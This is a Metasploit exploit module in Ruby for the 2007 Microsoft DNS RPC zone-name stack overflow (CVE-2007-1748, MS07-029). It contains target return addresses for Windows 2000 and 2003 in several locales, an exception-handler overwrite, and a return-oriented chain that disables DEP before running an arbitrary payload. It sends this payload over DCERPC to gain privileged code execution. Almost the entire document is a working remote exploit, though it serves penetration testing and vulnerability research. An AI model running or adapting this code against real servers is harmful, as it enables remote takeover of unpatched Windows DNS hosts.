Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)

`##  
# $Id: ms07_029_msdns_zonename.rb 9929 2010-07-25 21:37:54Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::DCERPC  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',  
'Description' => %q{  
This module exploits a stack buffer overflow in the RPC interface  
of the Microsoft DNS service. The vulnerability is triggered  
when a long zone name parameter is supplied that contains  
escaped octal strings. This module is capable of bypassing NX/DEP  
protection on Windows 2003 SP1/SP2.  
},  
'Author' =>  
[  
'hdm', # initial module  
'anonymous' # 2 anonymous contributors (2003 support)  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 9929 $',  
'References' =>  
[  
['CVE', '2007-1748'],  
['OSVDB', '34100'],  
['MSB', 'MS07-029'],  
['URL', 'http://www.microsoft.com/technet/security/advisory/935964.mspx']  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Payload' =>  
{  
'Space' => 500,  
  
# The payload doesn't matter, but make_nops() uses these too  
'BadChars' => "\x00",  
  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],  
  
# WS2HELP.DLL  
[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],  
[ 'Windows 2000 Server SP0-SP4+ Italian', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fd2ac4 } ],  
[ 'Windows 2000 Server SP0-SP4+ French', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x74fa2ac4 } ],  
  
# Use the __except_handler3 method (and jmp esp in ATL.dll)  
[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x77f7e7f0, 0x76a935bf] } ],  
[ 'Windows 2003 Server SP0 French', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f35a34, 0x77f6e7f0, 0x76a435bf] } ],  
  
# ATL.DLL (bypass DEP/NX, IB -> Image Base of ATL.dll)  
[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],  
[ 'Windows 2003 Server SP1-SP2 French', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],  
[ 'Windows 2003 Server SP1-SP2 Spanish', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a30000 } ],  
[ 'Windows 2003 Server SP1-SP2 Italian', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],  
[ 'Windows 2003 Server SP1-SP2 German', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76970000 } ],  
  
],  
'DisclosureDate' => 'Apr 12 2007',  
'DefaultTarget' => 0 ))  
  
register_options(  
[  
Opt::RPORT(0),  
OptString.new('Locale', [ true, "Locale for automatic target (English, French, Italian, ...)", 'English'])  
], self.class)  
end  
  
  
def gettarget(os)  
  
targets.each do |target|  
if ((target['OS'] =~ /#{os}/) && (target.name =~ /#{datastore['Locale']}/))  
return target  
end  
end  
  
return nil  
end  
  
  
def exploit  
  
  
# Ask the endpoint mapper to locate the port for us  
dport = datastore['RPORT'].to_i  
  
if ((dport != 0) && (target.name =~ /Automatic/))  
print_error("Unable to use automatic targeting when RPORT is given");  
return  
end  
  
if (dport == 0)  
  
dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')  
  
if (not dport)  
print_error("Could not determine the RPC port used by the Microsoft DNS Server")  
return  
end  
  
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")  
end  
  
  
mytarget = nil  
  
if (target.name =~ /Automatic/)  
  
# scheduler service is only available on 2k3 SP0 and 2000  
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')  
  
if (not schedport)  
print_status("Detected a Windows 2003 SP1-SP2 target...")  
mytarget = gettarget('2003SP12')  
else  
# only available on 2003 SP0  
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')  
  
if (not schedport)  
print_status("Detected a Windows 2000 SP0-SP4 target...")  
mytarget = gettarget('2000')  
else  
print_status("Detected a Windows 2003 SP0 target...")  
mytarget = gettarget('2003SP0')  
end  
end  
  
if (not mytarget)  
print_error("There is no available target for this locale")  
return  
end  
else  
mytarget = target  
end  
  
  
  
# Connect to the high RPC port  
connect(true, { 'RPORT' => dport })  
print_status("Trying target #{target.name}...")  
  
# Bind to the service  
handle = dcerpc_handle('50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
# Create our buffer with our shellcode first  
txt = Rex::Text.rand_text_alphanumeric(8192)  
  
if (target['OS'] =~ /2000/)  
txt[0, payload.encoded.length] = payload.encoded  
  
off = target['Off']  
txt[ off ] = [mytarget.ret].pack('V')  
txt[ off - 4, 2] = "\xeb\x06"  
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')  
  
elsif (target['OS'] =~ /2003SP0/)  
txt[0, payload.encoded.length] = payload.encoded  
  
off = target['Off']  
txt[ off ] = [mytarget['Rets'][0]].pack('V') # __except_handler3  
txt[ off - 4, 2] = "\xeb\x16"  
  
# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)  
addr = mytarget['Rets'][1] - 4  
addr1 = addr / 2  
addr2 = addr1 + addr % 2  
addr1 = addr1 + (addr2 % 12)  
addr2 = addr2 / 12  
  
txt[ off + 4, 8] = [addr1, addr2].pack('VV') # A,B  
  
#  
# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :  
#  
# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0  
# 0x77f443d0 mov eax, [ebp+arg_0]  
# 0x77f443d3 pop esi  
# 0x77f443d4 pop edi  
# 0x77f443d5 leave ; mov esp, ebp  
# 0x77f443d6 retn ; ret  
  
txt[ off + 16, 4] = [mytarget['Rets'][2]].pack('V') # jmp esp  
txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')  
  
elsif (mytarget['OS'] =~ /2003SP12/)  
off = mytarget['Off']  
ib = mytarget['IB']  
txt[ off ] = [ib + 0x2566].pack('V')  
  
  
# to bypass NX we need to emulate the call to ZwSetInformationProcess  
# with generic value (to work on SP1-SP2 + patches)  
  
off = 445  
  
# first we set esi to 0xed by getting the value on the stack  
#  
# 0x76a81da7:  
# pop esi <- esi = edh  
# retn  
  
txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')  
txt[ off + 28, 4] = [0xed].pack('V')  
  
# now we set ecx to 0x7ffe0300, eax to 0xed  
# 0x76a81da4:  
# pop ecx <- ecx = 0x7ffe0300  
# mov eax, esi <- eax == edh  
# pop esi  
# retn  
  
txt[ off + 32, 4] = [ib + 0x1da4].pack('V')  
txt[ off + 36, 4] = [0x7ffe0300].pack('V')  
  
# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)  
# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX  
# 0x76a8109c:  
# call dword ptr [ecx]  
  
txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]  
txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')  
  
# we catch the second exception to go back to our shellcode, now that  
# NX is disabled  
  
off = 1013  
txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)  
txt[ off + 24, payload.encoded.length ] = payload.encoded  
  
end  
  
req = ''  
  
# Convert the string to escaped octal  
txt.unpack('C*').each do |c|  
req << "\\"  
req << c.to_s(8)  
end  
  
# Build the RPC stub data  
stubdata =  
NDR.long(rand(0xffffffff)) +  
NDR.wstring(Rex::Text.rand_text_alpha(1) + "\x00\x00") +  
  
NDR.long(rand(0xffffffff)) +  
NDR.string(req + "\x00") +  
  
NDR.long(rand(0xffffffff)) +  
NDR.string(Rex::Text.rand_text_alpha(1) + "\x00")  
  
print_status('Sending exploit...')  
  
begin  
response = dcerpc.call(1, stubdata)  
  
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)  
print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])  
end  
rescue ::Exception => e  
print_error("Error: #{e}")  
end  
  
handler  
disconnect  
end  
  
end  
`